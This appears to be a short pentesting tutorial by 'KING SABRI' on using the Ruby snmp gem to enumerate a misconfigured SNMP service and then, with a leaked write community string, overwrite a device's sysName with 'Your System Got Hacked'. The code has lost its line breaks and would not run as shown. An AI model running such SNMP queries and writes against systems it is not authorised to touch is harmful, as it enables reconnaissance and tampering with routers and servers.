Install ruby-snmp
gem install snmp
Miss configure an SNMP service would gives an attacker a huge mount of information. Let's to see you we can interact with the server to retrieve some info.
# KING SABRI | @KINGSABRIrequire 'snmp'# Connect to SNMP servermanager = SNMP::Manager.new(:host => '192.168.0.17')# General infoputs "SNMP Version: " + manager.config[:version]puts "Community: " + manager.config[:community]puts "Write Community: " + manager.config[:WriteCommunity]# Get hostname, contact and locationhostname = manager.get("sysName.0").each_varbind.map {|vb| vb.value.to_s} # manager.get("sysName.0").varbind_list[0]contact = manager.get("sysContact.0").each_varbind.map {|vb| vb.value.to_s} # manager.get("sysContact.0").varbind_list[0]location = manager.get("sysLocation.0").each_varbind.map {|vb| vb.value.to_s} # manager.get("sysLocation.0").varbind_list[0]# It would take an array of OIDsresponse = manager.get(["sysName.0", "sysContact.0", "sysLocation.0"])response.each_varbind do |vb|puts vb.value.to_send
Note: the OID names are case sensitive
Sometimes we get luck and we get the private/management string of SNMP. At this moment we might be able to apply changes on the system, router, switches configurations.
require 'snmp'include SNMP# Connect to SNMP servermanager = SNMP::Manager.new(:host => '192.168.0.17')# Config our request to OIDvarbind = VarBind.new("1.3.6.1.2.1.1.5.0", OctetString.new("Your System Got Hacked"))# Send your request with varbind our settingsmanager.set(varbind)# Check our changesmanager.get("sysName.0").each_varbind.map {|vb| vb.value.to_s}manager.close
